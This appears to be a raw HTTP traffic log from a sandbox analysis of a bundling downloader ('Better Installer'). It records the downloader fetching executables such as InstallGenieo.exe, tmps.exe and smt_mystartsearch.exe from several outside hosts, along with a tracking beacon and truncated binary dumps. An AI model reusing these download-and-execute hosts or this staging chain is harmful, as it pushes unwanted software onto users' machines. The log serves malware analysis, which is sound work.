GET /sd?is=sm HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Fri, 09 Jan 2015 04:52:17 GMT

Date: Thu, 08 Jan 2015 04:52:17 GMT

Content-Range: bytes 0-583463/583464

Content-Length: 583464

Connection: keep-alive

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
........................;........................................s....
..................8...................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h [email protected]...\r@._^3.
[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G...
..t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .

<<< skipped >>>

GET / HTTP/1.1

Range: bytes=74664-

User-Agent: Better Installer(Mozilla)

Host: dl627.settleship.org

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 302 Moved Temporarily

Date: Thu, 08 Jan 2015 04:55:14 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __cfduid=df22ea57769325f0b5f313d0b6b9807031420692914; expires=Fri, 08-Jan-16 04:55:14 GMT; path=/; domain=.settleship.org; HttpOnly

X-Powered-By: PHP/5.4.19

location: tmps.exe

Server: cloudflare-nginx

CF-RAY: 1a55cd3de63c0f75-FRA

0......

GET /tmps.exe HTTP/1.1

Range: bytes=74664-

User-Agent: Better Installer(Mozilla)

Host: dl627.settleship.org

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Date: Thu, 08 Jan 2015 04:55:14 GMT

Content-Type: application/octet-stream

Content-Length: 124440

Connection: keep-alive

Set-Cookie: __cfduid=df22ea57769325f0b5f313d0b6b9807031420692914; expires=Fri, 08-Jan-16 04:55:14 GMT; path=/; domain=.settleship.org; HttpOnly

Last-Modified: Tue, 06 Jan 2015 18:40:02 GMT

Content-Range: bytes 74664-199103/199104

Server: cloudflare-nginx

CF-RAY: 1a55cd3e56400f75-FRA
vkzYvsz...XzkRp{jszYvszQ~rzH....Zqkzm\mvkv|~sLz|kvpq..&.Sz~iz\mvkv|~sL
z|kvpq....Vqvkv~svez\mvkv|~sLz|kvpq^q{Lovq\pjqk...MksJqhvq{...Hv{z\w~m
KpRjskv]fkz...Xzk\pqlpsz\O....Xzk\pqlpszRp{z..M.\splzW~q{sz...[zszkz\m
vkv|~sLz|kvpq...Jqw~q{sz{Zg|zokvpqYvskzm....LzkJqw~q{sz{Zg|zokvpqYvskz
m...Xzk\jmmzqkOmp|zll...Kzmrvq~kzOmp|zll....Ksl^ssp|....KslXzkI~sjz...
KslLzkI~sjz...KslYmzz.|.XzkLk~mkjoVqypH...XzkRp{jszW~q{szH....Lszzo.!.
Sp~{Sv}m~mfZgH....XzkYvszKfoz...XzkRp{jszYvszQ~rz^....NjzmfOzmypmr~q|z
\pjqkzm...Xzk\jmmzqkOmp|zllV{.f.XzkLflkzrKvrz^lYvszKvrz...XzkZqivmpqrz
qkLkmvqxlH..~.YmzzZqivmpqrzqkLkmvqxlH.x.LzkYvszOpvqkzmZg..v.XzkLkmvqxK
fozH..2.S\R~oLkmvqxH....Pjkojk[z}jxLkmvqxH.. .Sp~{Sv}m~mfH....LzkLk{W~
q{sz..;.Hmvkz\pqlpszH.H.YsjlwYvsz]jyyzml....Wz~oLvez....\mz~kzYvszH.L.
LzkZq{PyYvsz....Mz~{Yvsz....Mz~{\pqlpszH..............................
......................................................................
......................................................................
......................................................................
...................................................................._.
.._...................................................................
......................................................................
>.......*.......^.......\.......O.......M.......L.......H.......F..
.....s.......r...?...o.......m........................................
...................6..................................................
.................................. ^...........f.>.............<<< skipped >>>

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

Range: bytes=247102-494204

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

x-amz-id-2: U7DTGnjT6HD4BOTjMbTmHEck07XSKxVWiflXaJ/jYuLYyFurtqjhpRcIBJU5FNf2Z30sI6OV3wU=

x-amz-request-id: F88CB2166C7F06F5

Date: Thu, 08 Jan 2015 04:55:19 GMT

Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT

ETag: "d65611fbc4da8cea4e886076bec82d1e"

Accept-Ranges: bytes

Content-Range: bytes 247102-494204/988408

Content-Type: application/octet-stream

Content-Length: 247103

Server: AmazonS3
-s...R.... .e.>7........... )..51.n4..@..)....ck.../.01-. Z?L....k.
...O..<2Ma....7..r.2....j....O.".A......dK..&G..Hj6.(.P....ZxVA.>
;...Sr.l:.86....6bq.....>.d-p~R{..jI.L..M. .8O....q..[..J4...T..l..
...m.......)e.C..A....I,cPy2|.."-...".M.O..v...=Q......|.......'..Z..I
}....Dw.....f.i...m.~.o..H'.j.....&.agE.`._`.>...[.:O...^4......3..
.7.{[email protected]...<......BY..4C.}..Qf.'(.....rRf?...q.=|....|....
[........E..Gu...oD2 ...E/....2$..k......o......E.. h.....s7..ouq...N.
.".o.....L.....%.8-...zG.._.|.B{.e(w.iy.....ALA.}.,.cf1%ZE-.U.....oa.F
.~|o.":,.N.s...N.^x....GT..(.!..oy'.N..?.L....7...)..f1nS.P.6....._v..
....._)S......`....qe0.d.DI............sq..su...{j..Y..'...;..6.{..@..
Os3p4T8.z...8....L.Q.F...H../...b...(..k._..z.a...f...0......}.......P
.|-.3.g...<.,w=P.tk_$..p..\,...K..*..........S.....l&..^C.q.J...OD.
..$..T..x...`........:Ea#"...fv....p.u.YWE.........m..E...CV....=sR...
=W.DC..jQ..o.74;9 .5y^.H&f.3..|X.......w. ..^./E...X..lC.|.hR.. ...._J
r..v...E..X~.D.Q.......5.>...A..v ...a~=..F ..{a"....yj F..].n.....
.=1H<.Z...n}.1.;.!7U3..........G..N...T......A.........m .....PcC\C
ek.w.........J.a....{*.>.u..]9.....2K.}.G@........$-H....=9....f&f.
.6l...M...u ..k.N).O..8J.~........i ..`5.........r..g`..../...E.....R.
..P......l$r.GTJ...\...v9..Y.D.!&e..aq...)%.'.[.....Pgx..../.PQ..yv..D
...#...m.|P!.l..s.$.q&=..d6T.jQ...]d....7c ...ll.s...X..`T.(Da.P..b..!
....A>..n."..H.....Rrc...C.T..J]Jx\*.....l...q2..q...R......?9..4l.
....F..3`{..x.`..d^.g............C..t.G.'xdA>y...m....m~..."..~<<< skipped >>>

GET /video_accelerator/wizardtest/SMALLTEST.HTM?random=752829&mode=nolsp HTTP/1.1

Accept: */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: test.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Content-Encoding: gzip

Last-Modified: Mon, 21 Jul 2008 09:41:32 GMT

Accept-Ranges: bytes

ETag: "bfefaff515ebc81:0"

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:32 GMT

Content-Length: 167
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?".......~....O......7.O.........
....'_>.}. ..>..o.?...MF...HTTP/1.1 200 OK..Content-Type: text/h
tml..Content-Encoding: gzip..Last-Modified: Mon, 21 Jul 2008 09:41:32 
GMT..Accept-Ranges: bytes..ETag: "bfefaff515ebc81:0"..Vary: Accept-Enc
oding..Server: Microsoft-IIS/7.5..X-Powered-By: ASP.NET..Date: Thu, 08
 Jan 2015 04:53:32 GMT..Content-Length: 167...............`.I.%&/m.{.J
.J..t...`[email protected]#).*..eVe]f.@......{....{....;.N'...?\fd.l..J
...!....?~|.?".......~....O......7.O.............'_>.}. ..>..o.?
...MF.....

GET /sd?is=sm HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Cache-Control: no-cache


HTTP/1.1 200 OK

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Content-Length: 583464

Cache-Control: private, max-age=86400

Expires: Fri, 09 Jan 2015 04:52:16 GMT

Date: Thu, 08 Jan 2015 04:52:16 GMT

Connection: keep-alive

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
........................;........................................s....
..................8...................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h [email protected]...\r@._^3.
[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G...
..t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .

<<< skipped >>>

GET /sponsored/mystartsearch/eula-mystartsearch.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://installer.filebulldog.com/awfr7zip23772/7zip/9e6180970114bd468bddca6b91fb0979?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d16a55el92698t.cloudfront.net

If-Modified-Since: Sun, 26 Oct 2014 17:24:16 GMT

Connection: Keep-Alive


HTTP/1.1 304 Not Modified

Connection: keep-alive

Date: Thu, 08 Jan 2015 04:55:14 GMT

Server: nginx

Expires: Wed, 07 Jan 2015 23:13:35 GMT

Cache-Control: max-age=600

Age: 184

Vary: Accept-Encoding

X-Cache: Hit from cloudfront

Via: 1.1 e985f18640f58cd27a9756c50a97a37d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: C0JOdVfSKzJlD1ztBidQ6V2vO0AltDiYMlIAKx-lKDcIYEKeLKKu6A==

HTTP/1.1 304 Not Modified..Connection: keep-alive..Date: Thu, 08 Jan 2
015 04:55:14 GMT..Server: nginx..Expires: Wed, 07 Jan 2015 23:13:35 GM
T..Cache-Control: max-age=600..Age: 184..Vary: Accept-Encoding..X-Cach
e: Hit from cloudfront..Via: 1.1 e985f18640f58cd27a9756c50a97a37d.clou
dfront.net (CloudFront)..X-Amz-Cf-Id: C0JOdVfSKzJlD1ztBidQ6V2vO0AltDiY
MlIAKx-lKDcIYEKeLKKu6A==..

GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=231240-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlzhangwei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:55:16 GMT

Content-Type: application/octet-stream

Content-Length: 77080

Last-Modified: Wed, 07 Jan 2015 02:46:14 GMT

Connection: keep-alive

Expires: Sun, 11 Jan 2015 04:55:16 GMT

Cache-Control: max-age=259200

Content-Range: bytes 231240-308319/308320
.o..l....o.......o.......o.......W.......o.......o.......o.......o....
...p.......p...... p......,p......8p......Pp..,...\p..;...tp..>....
p..C....p..k....p.......p.......p.......p.......p.......p.......p.....
..p..;....q..k... q......0q......<q......Hq......Tq......`q......lq
......xq..;....q.......q.......q.......q.......q.......q.......q......
.q..;....q.......r.......r.......r......(r......4r..;...Lr......\r....
..hr......tr.......r..;....r... ...r... ...r... ...r..; ...r...$...r..
.$...r...$...r..;$...s...(...s...(...s...(..(s...,..4s...,..@s...,..Ls
...0..Xs...0..ds...0..ps...4..|s...4...s...4...s...8...s...8...s...<
;...s...<[email protected][email protected]...|..
.t...|..([email protected]..,...0t..q...(j......<t......Ht......Tt.....
.`t......lt......xt.......t.......t.......t.......t.......t.......t...
....t..C....t.......t.......t......xk..)....t.......u..k...8k..!...,u.
.c...0j......8u..D...Du..}...Pu......8j......hu..E...Pj......tu..G....
u......Xj.......u..H...`j.......u.......u.......u..I....u.......u.....
.8l..A....u......hj.......u..J...pj.......u.......u.......v.......v...
... v......,v......8v......Dv......Pv......\v......hv..K...tv.......v.
.....xj.......v.......v.......v.......v.......v.......v.......v.......
v.......v.......v.......w.......w.......w......(w......4w......@w.....
.Lw......Xw......dw......Hk..#...pw..e....k..*...|w..l...`k..&....w..h
....j.......w..L....k.......w..s....j.......w.......w.......w.......w.
.M....w.......w...... l..>....w.......k..7....x.......j.......x<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Cache-Control: no-cache



U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[...U..
QQ.U.SV..i........>B.3...W.M..M..F...t.9M.t.$.B.F.;..>B.sD..i...
...|...B......t.j.R..........u([email protected].;..>B...r.3._^[
.....}..t..}[email protected]$...>B.V3... s495.>B.v,.P.
W....u.3.G...z.t.....$...F......;5.>B.r._^...U.......>B..e..SV..
...W.=.>B..E..E.3.9.tK;.sE.5.>B.........u(.E...t..<..t..M.3.@
......N.#....M...;.u.C......;.r.;.t..E..E...}. r..E._^[.....D$...}.@..
@B.... .Q.WG.....V.t$..j.....>B.k.....8.t\P.....=....tUP.......u.@F
..H.... ..|$..t/[email protected]$...Dr@...}.3.^
...........D$....>[email protected]$...:.....U..........>B
.SV.u.Wj.Y.}..E.3....E..U..........@B..][email protected]....
...$..(@.SP.m:...r.....l6B.9][email protected].
3:[email protected]@[email protected]].u".. ?B.j...`?B
.......M.... ?B..c.....`?B... ?B..R....E..4. ?B.3...;....#M..D.....<
;....4. ?B.V.......p6B..5`r@.;.t.RQ...E....6B.;.......PQ.......j..Z...
[email protected]..<.....W. A....;.tBj\[email protected]
@...u...|p@[email protected]:.u.9].t.j......Wh..B..EE..W..t
p@..^...j..0...S.....P.!H...5...j......j........j........WV..pp@..<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=218799-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Fri, 09 Jan 2015 04:53:20 GMT

Date: Thu, 08 Jan 2015 04:53:20 GMT

Content-Range: bytes 218799-583463/583464

Content-Length: 364665

Connection: keep-alive
..g..}...eg.._...N.....n>..V3...H|..r....k...BvH..g..\[email protected]..'m.
..e........:.".5...wU.|.....bJ"/[email protected].*...uH.x&o.....>...
.E..?.b.!...Y B......Z...-,...8)...... [email protected].
[.#..;L......v...k.V.u.Nm..F........9..Q..`.3.K.(..8...7..1......}._ .
..=.ZJ...o.. ..S..5`..IVL6..py...o{....`[email protected].
....s.;H.WxP..`...h....n.zCk...z7Y..2\...X...M#.O....%-.M..C/..2.p.b..
.(......r...o.U...af.I....>(.?J..A....P..(.VBMF.u.._.2{.......R..A.
w.0.E.....0<.j....y.!y.2.}.L.....2.Bl.E.D....4....t.Q.b....y.h..&..
.g.._.. X...Ah.....).....~..usZn.s..8t.Zm...u.2P.3S.....#.........^<
;..................G..m.&..p..d.*|.m......R...U..w.M.5.Es..=hK.H..~a..
...P......X..e....V1...V..u...........n.k..g/....>C<.h&...)...N.
...f.\...|.~.Xr.JY.i...X..a..c.%..$..{...w.,.N..,.l..".0I......2]..Z.C
.2.......rz..J..=....WT-..hH.....wk.^.`.O.m....b.x..=..}.p*X../.^.!.i.
...u......}..Ck.]n.r..=......5..b..........4o..Q,....D.^......&..kU.:.
Y...........?...N.......@:?....MH3)IZ...{Z..h..... 0..W.-0N*[email protected]..=...
.>}...W.."a.T...;.]W.[.....c..e.......]i..-G.k=..v.?...:iq...*c...'
06H/.hLx..8(...5TK.D.m...Fk..Y.)../0:.5m.&.}'^r.~2...... .j*...<..*
j......^.2.j.......Y...._...K..x!..............H...H$v...}.....U......
f....K..X~.....@6b.# :.gQ,.......K.7...e.}. *..........E$v.0LP"..)....
M_2..T@r........\(.n.../..Uk~$..'[email protected] 
[email protected]..!.G..B!b.\..,MP.tt>....WL.T.......<
;..$...^.o}{...-..\.e.k..#P...{Q......W.6.|*28.p.lY..]."...g....22<<< skipped >>>

GET /home/smt_mystartsearch.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: VVV.girlzhangwei.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx

Date: Thu, 08 Jan 2015 04:55:15 GMT

Content-Type: application/octet-stream

Content-Length: 308320

Last-Modified: Wed, 07 Jan 2015 02:46:14 GMT

Connection: keep-alive

Expires: Sun, 11 Jan 2015 04:55:15 GMT

Cache-Control: max-age=259200

Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$........}`e^..6^..6
^..6...6N..6...6'..6...6p..6Wd.6S..6^..6...68..6U..68..6_..6^..6_..68.
.6_..6Rich^..6........................PE..L.....~T.................z..
......................@.................................._....@.......
......................................0...............`.......`...0...
8...............................@.....................................
.......text....y.......z.................. ..`.rdata..j............~..
............@[email protected][email protected].....
.......>..............@[email protected][email protected].
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U...E...u...]...PRQ....
....]....U...E...u...]...PRQ........]....U...E..V......A.t.V..........
^].................U...E..U....H.].................U........U..u.R.P..
U..H.;J.u...;.u.....]...2...]................U...E.;H.u...;E.u...]...2
.]........A............U..QV.u..E...........u.........A..E..F......F..
.......:.u.3.QR.........^..].....W.y...A..u. ._QR...y.....^..]......A.
...........U..Q.E.V.u..E........u(j..F......F.....h..A.......*.....^..
]...PV.:.....^..].....(.A............U..QV.u..E......Y....u.......<<< skipped >>>

GET /app/t.ashx?uid=25383020-30f5-408f-b983-88ab51edfcbf&bn=iexplore.exe&bv=&shpro_url=aHR0cDovL3d3dy55b3V0dWJlYWNjZWxlcmF0b3IuY29tL2ZpbmlzaGluc3RhbGwvP1ZBX1Y9My4zLjkuNCZWQV9BZmY9c210eWNsMV8wXzBfMF8wLDI1MzgzMDIwLTMwZjUtNDA4Zi1iOTgzLTg4YWI1MWVkZmNiZiwmVkFfYnI9Tk9ORSZWQV9hc2s9Tk9ORSZWQV9CZXRhPTAmVkFfTW9kZT0zJlZBX09TVmVyPVdpbmRvd3NfNyZWQV9Jc0Nvbm5lY3RlZD0xJlZBX3NyYz0xJnByPTEmVFNJPTc2JkJ1bmRsZUlEPU5PTkU=&prd=ShopperPro&os=Win32&id=1420692842&aff=JSsmtycl&ver=2.0.7791.1463 HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=76&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: 5k9v3bc1-enehfzfv.netdna-ssl.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Thu, 08 Jan 2015 04:54:22 GMT

Content-Type: image/gif

Content-Length: 35

Connection: keep-alive

Cache-Control: private

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

GIF89a.............,...........D..;HTTP/1.1 200 OK..Date: Thu, 08 Jan 
2015 04:54:22 GMT..Content-Type: image/gif..Content-Length: 35..Connec
tion: keep-alive..Cache-Control: private..X-AspNet-Version: 4.0.30319.
.X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X-Cache: MISS..GIF89
a.............,...........D..;..

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: d3aa6lfjz7mo54.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 285558

Connection: keep-alive

Date: Sun, 04 Jan 2015 05:53:17 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Age: 3472

X-Cache: Hit from cloudfront

Via: 1.1 1af3b41af1ae11562aeae8eb3a73224a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: kPgrRkQ3YxQi9isMUm1yocyYljK445sHwUS4KjrypUFpn5wSHE8Ntw==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
......@...............................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /mstag/site/649013f9-6914-436e-ba0b-dcbf07bc69d7/mstag.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=76&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: flex.msn.com

DNT: 1

Connection: Keep-Alive

Cookie: mh=MSFT; CC=UA; CULTURE=EN-US; SRCHD=SM=1&MS=3093912&D=3093912&AF=NOFORM; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20131118; MC1=V=3&GUID=373863f57d114b0289364f6434076125; brdSample=0; MUID=1785AC2FD94664211AC0A9A6DD466620; cbus=subint:1:138479115


HTTP/1.1 200 OK

Cache-Control: public

Content-Type: application/x-javascript; charset=utf-8

Content-Encoding: gzip

Expires: Thu, 08 Jan 2015 05:09:22 GMT

Vary: Accept-Encoding

Server: Microsoft-IIS/8.0

X-AspNet-Version: 4.0.30319

Date: Thu, 08 Jan 2015 04:54:21 GMT

Connection: close

Content-Length: 490
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?"....i[T..;..8..]....../.6....i.
Wyu.....*........}l^..N...zyx..i....M>.U.."_....=-s....l..17...j.||
...............g...../... .....f...n..g.............>n..g......}...
...{...?}.......|{..L.g.................w.w...w..(t.(.U]...-..._.K....
......w~1.=....7..h.>.{..;............x....d.....B../..?.%..|.'..o}
......M1..}.....?.]f...).........U....B?.XGD..4......w.]|...8..(xg....
.q.......HTTP/1.1 200 OK..Cache-Control: public..Content-Type: applica
tion/x-javascript; charset=utf-8..Content-Encoding: gzip..Expires: Thu
, 08 Jan 2015 05:09:22 GMT..Vary: Accept-Encoding..Server: Microsoft-I
IS/8.0..X-AspNet-Version: 4.0.30319..Date: Thu, 08 Jan 2015 04:54:21 G
MT..Connection: close..Content-Length: 490...............`.I.%&/m.{.J.
J..t...`[email protected]#).*..eVe]f.@......{....{....;.N'...?\fd.l..J.
..!....?~|.?"....i[T..;..8..]....../.6....i.Wyu.....*........}l^..N...
zyx..i....M>.U.."_....=-s....l..17...j.||...............g...../... 
.....f...n..g.............>n..g......}......{...?}.......|{..L.g...
..............w.w...w..(t.(.U]...-..._.K..........w~1.=....7..h.>.{
..;............x....d.....B../..?.%..|.'..o}......M1..}.....?.]f...)..
.......U....B?.XGD..4......w.]|...8..(xg.....q.........<<< skipped >>>

GET /mirror/pricefountain/default/setup.exe HTTP/1.1

Range: bytes=203904-

User-Agent: Better Installer(Mozilla)

Host: d2lci0er4bmjg2.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 1427328

Connection: keep-alive

Date: Tue, 06 Jan 2015 11:12:14 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1420539938/atime:1420540204/ctime:1420539939

Cache-Control: max-age=3600

Last-Modified: Tue, 06 Jan 2015 11:01:30 GMT

x-amz-version-id: 33GIbljaZdOrrxw6fd8yOhdzeKhEU7SW

ETag: "aba069326327747d739be51094cd31c2"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 203904-1631231/1631232

Age: 1

X-Cache: Hit from cloudfront

Via: 1.1 4859b5b31d7492f97e16f66fc2ee5571.cloudfront.net (CloudFront)

X-Amz-Cf-Id: wCuQVLTepo3uLQmqC4TmvmMO67FeFyxjZwJNkkLj72Wkxqs9j1ejmA==
$,R....D$0..H..D$4.....D$<[email protected]$DpSH.f.D$H.D$L.....D$P.....D$
T....h.EH..D$$j.P..$................~..t>.N h..H..G....~..t .F ..@t
..H...3...$.......$.....C.$.....f ...D$ .RH..L$ ..$............$......
D$L..t..t$PP.c!...t$L..'.......$.......$.....C.$....hD.H.P.D$$P..3....
..|$..u.h..H....Z.....$.....r...$.....1'.......$.......$..........$...
.......$.....r...$......&.........$....d......Y_^[..$....3...&....]...
..U.....3.W.U..\.H.f9.\.H.......SV...f..t.f.. w...G....f..u.f.?...t...
... v...|t... t....f.>.u.f.>.t.3.f......t^H..E..8...t........3W.
...G...t.....;.u..U.f.>...u.^[.._..]. ].......w...x^H..U.....U.....
.........U....,[email protected]...
....(.G.....#]..]......j.j....E.Pj.j.j.j.W..$.G.j.j.Vh.>H..E.P.. .G
..E.P.u..E.Pj..E......].....G.j..u.j.j.j.j.W....G..E..5t.G...t.P...E..
.t.P..S...u..._^[..][email protected]..=..I...E....I.t..=..G
..I..6h..H.....t;....>.u....3.f...4...I..5..G.S...u.S...u.....G._^.
....[..].....I...................U..Q....J.V.5..J.3.f9.t#.............
[email protected].<F...Fu.....^..]....^..]..............U..Q....J.V.5..J.3.....t
[email protected]^..]...U......E.Pj..E.........G.P....
G...u...].V.E.Pj.j.j..u.....G..u.j.....G.....t].E.P.u.Vj..u.....G...u.
..`.G.3.^..].h BH.....G...t#h..H.P..T.G...t.h..J..6............V..t.G.
.u.....G......^..][email protected][email protected]@.E.>....G...3.......
[email protected].!]. ..E.9].vW.E. ..E.3.3...;].r..u.P...I.....
X..:0.. .u..E........U.2..Q....I...2.Y..CF......r.;].r..E..M..x...<<< skipped >>>

